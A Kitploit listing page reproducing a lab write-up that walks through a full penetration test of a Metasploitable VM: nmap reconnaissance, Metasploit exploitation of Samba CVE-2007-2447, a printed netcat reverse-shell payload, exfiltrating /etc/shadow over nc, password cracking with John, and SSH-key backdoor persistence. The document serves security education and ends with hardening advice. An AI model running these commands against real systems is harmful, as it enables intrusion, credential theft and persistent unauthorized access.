Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
metasploitable-pentest-lab — 针对 Metasploitable 的完整渗透测试:使用 nmap 进行侦察,使用 Metasploit 进行漏洞利用(CVE-2007-2447),凭据提取与破解,SSH 持久化 | Kitploit
工具/GitHubGitHub/mboatella25/metasploitable-pentest-lab
密码破解权限提升侦察持久化机制漏洞分析漏洞利用横向移动信息收集后渗透利用

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
渗透测试
学习与教育
实验室与实践
GitHubmboatella25/metasploitable-pentest-lab

metasploitable-pentest-lab

针对 Metasploitable 的完整渗透测试:使用 nmap 进行侦察,使用 Metasploit 进行漏洞利用(CVE-2007-2447),凭据提取与破解,SSH 持久化

查看仓库
51个月前尚未审核

Metasploitable 中的漏洞利用

在受控且隔离的环境中完成一次真实攻击的完整流程:实验室准备、nmap 侦察、攻击面优先级排序、CVE 映射、Metasploit 漏洞利用、后渗透、凭据提取与破解,以及通过 SSH 密钥注入实现持久化。

架构:Kali Linux(攻击方)对战 Metasploitable(目标),隔离的 host-only 网络

1. 环境准备

  • 攻击方:Kali Linux——msfconsole、nmap、John the Ripper。
  • 目标:Metasploitable 1——Ubuntu 8.04(2010 年),未打补丁,存在多个已知 CVE。
  • 网络:host-only,两台 VM 与任何真实网络隔离(192.168.64.0/24)。受害机 IP:192.168.64.3。

两台 VM 之间的连通性验证

2. 使用 Nmap 进行侦察

通过版本扫描精确识别暴露了哪些服务——漏洞影响的是具体版本,而非抽象的服务:

root@kitploit:~
nmap -sV 192.168.64.3

12 个开放端口,全部运行着过时且可利用的版本。

3. 攻击面优先级排序

我没有直接攻击第一个开放的端口,而是在选择目标之前按风险类型对服务进行了分类:

  • 远程访问(22、23):Telnet 以明文暴露凭据;OpenSSH 4.7p1 是非常老的版本。
  • Web 应用层(80、8180):Apache 2.2.8 远落后于稳定版;Tomcat 存在弱凭据和潜在 RCE。
  • 暴露的数据库(3306):MySQL 5.0.51a,旧版本,可直接访问数据。
  • 共享文件 / 内部网络(139、445):Samba,历史上被利用最多的服务之一,拥有公开的 CVE 和已知 exploit。

选定目标:Samba 3.0.20-Debian——它兼具已记录在案的关键漏洞版本、Metasploit 中可用的 exploit,以及无需预先认证即可执行代码的特性:以最高的可靠性收获最大的影响。

4. 漏洞映射

使用 Nmap 脚本引擎(NSE)确认精确版本:

root@kitploit:~
nmap -p 139,445 --script=smb-os-discovery 192.168.64.3
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)

Samba 3.0.20 存在 CVE-2007-2447 漏洞:username map script 参数不校验输入,攻击者可以直接在用户名字段中注入 shell 命令。由于映射发生在登录之前,因此既不需要有效的用户名,也不需要有效的密码。

CVE-2007-2447 记录:通过 Samba 中的 username map script 实现 RCE

5. 使用 Metasploit 进行漏洞利用

root@kitploit:~
msfconsole

Metasploit Framework 启动界面

搜索对应的模块:

root@kitploit:~
msf > search type:exploit samba

搜索 Samba 的 exploit — exploit/multi/samba/usermap_script,rank excellent

配置并执行:

root@kitploit:~
msf > use exploit/multi/samba/usermap_script
msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.64.3
msf exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.64.4:4444
[*] Command shell session 1 opened

立即验证权限——该漏洞直接授予 root 访问权限,无需后续提权:

root@kitploit:~
whoami   → root
uname -a → Linux metasploitable 2.6.24-16-server (kernel de 2008)

获得 Shell:whoami 从一开始就返回 root

6. 后渗透:实际发生的过程

通过查看受害机上的进程,可以看到注入的 payload 本身正在运行:

root@kitploit:~
ps aux | grep samba
root  4931  sh -c /etc/samba/scripts/mapusers.sh "/=`nohup mkfifo /tmp/iftpe; nc 192.168.64.4 4444 0</tmp/iftpe | /bin/sh >/tmp/iftpe 2>&1; rm /tmp/iftpe`"

发送的用户名中包含了命令本身(/=`...`):Samba 未做任何过滤就将其传给 shell,shell 用 mkfifo 创建管道,通过 netcat 建立回连 Kali 的连接,并将 /bin/sh 接入该管道——远程代码执行就这样逐行完成。

使用 netstat -tulnp 枚举内部服务:发现 MySQL 监听在 0.0.0.0:3306——暴露给网络中任意机器,而不仅仅是 localhost。

7. 凭据提取与破解

我没有在受害机上直接尝试破解(这会消耗 CPU、产生噪音、留下痕迹),而是提取哈希并转移到 Kali 上进行离线攻击:

root@kitploit:~
cat /etc/shadow
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::

从 /etc/shadow 提取的密码哈希

通过 netcat 传输并为 John the Ripper 做准备:

root@kitploit:~
# En Kali:
nc -lvnp 4444 > shadow.txt
# En la víctima:
cat /etc/shadow | nc 192.168.64.4 4444

unshadow passwd.txt shadow.txt > hashes.txt
john hashes.txt

John 自动执行三个阶段(利用用户自身信息的 single 模式、字典模式、增量暴力破解)。结果:7 个密码中破解了 6 个,其中包括可复用于 SSH、MySQL 和 FTP 的凭据。

John the Ripper:破解了 6 个密码

8. 横向移动与持久化

利用破解出的凭据,以合法用户身份直接 SSH 访问:

root@kitploit:~
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

使用破解的凭据进行 SSH 访问

为了避免依赖可能轮换的密码,我生成了自己的密钥对并添加到受害机的 authorized_keys 中——这个后门在密码变更后依然有效,也不会触发暴力破解告警:

root@kitploit:~
ssh-keygen -t rsa -b 2048 -f lab_key
cat lab_key.pub >> ~/.ssh/authorized_keys   # ejecutado en la víctima, ya comprometida

此后无需密码即可访问:

root@kitploit:~
ssh -i lab_key -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

无需密码的持久 SSH 访问,通过密钥认证

发现

  • 十二个开放端口,全部运行过时版本——攻击面并非单一缺陷,而是多年未更新服务的累积。
  • 一个无需任何形式的认证即可利用的远程代码执行漏洞,这是暴露服务面临的最坏情况。
  • 服务之间(SSH、MySQL、FTP)凭据薄弱且重复使用——攻破单一入口即可访问多个服务。
  • 完全没有网络分段和基本加固(数据库暴露于 0.0.0.0,Telnet 等遗留协议仍在运行)。

安全建议

删除 Telnet 等不安全协议,更新关键服务和内核本身,限制数据库的直接暴露,实施网络分段,尤其是——鉴于破解密码如此轻而易举——强制执行强健的、不在服务间复用的凭据策略。能够在生产环境中阻止此类攻击的同类检测手段(监控异常出站连接、针对 nc/反弹 shell 的告警),正是我在自己的 Home SOC Lab 中从防御侧开展的工作。

结论

攻击前的优先级排序——弄清哪个服务能以更高的可靠性带来更大的影响,而不是随机试探端口——正是直接导向 Samba 的关键。后渗透阶段,看到注入的命令在 ps aux 中执行,最能说明为什么一个输入校验漏洞会转变成对系统的完全控制。而 SSH 密钥持久化则清楚地表明,一旦进入系统,攻击者的目标不仅仅是"获得访问权",而是悄无声息地、长久地保有这种访问——这更加说明纵深防御不能只依赖单一屏障。

下载工具
端口服务版本
21/tcpftpProFTPD 1.3.1
22/tcpsshOpenSSH 4.7p1 Debian 8ubuntu1
23/tcptelnetLinux telnetd
80/tcphttpApache httpd 2.2.8
139,445/tcpnetbios-ssnSamba smbd 3.X — 主要目标
3306/tcpmysqlMySQL 5.0.51a
8180/tcphttpApache Tomcat/Coyote JSP 1.1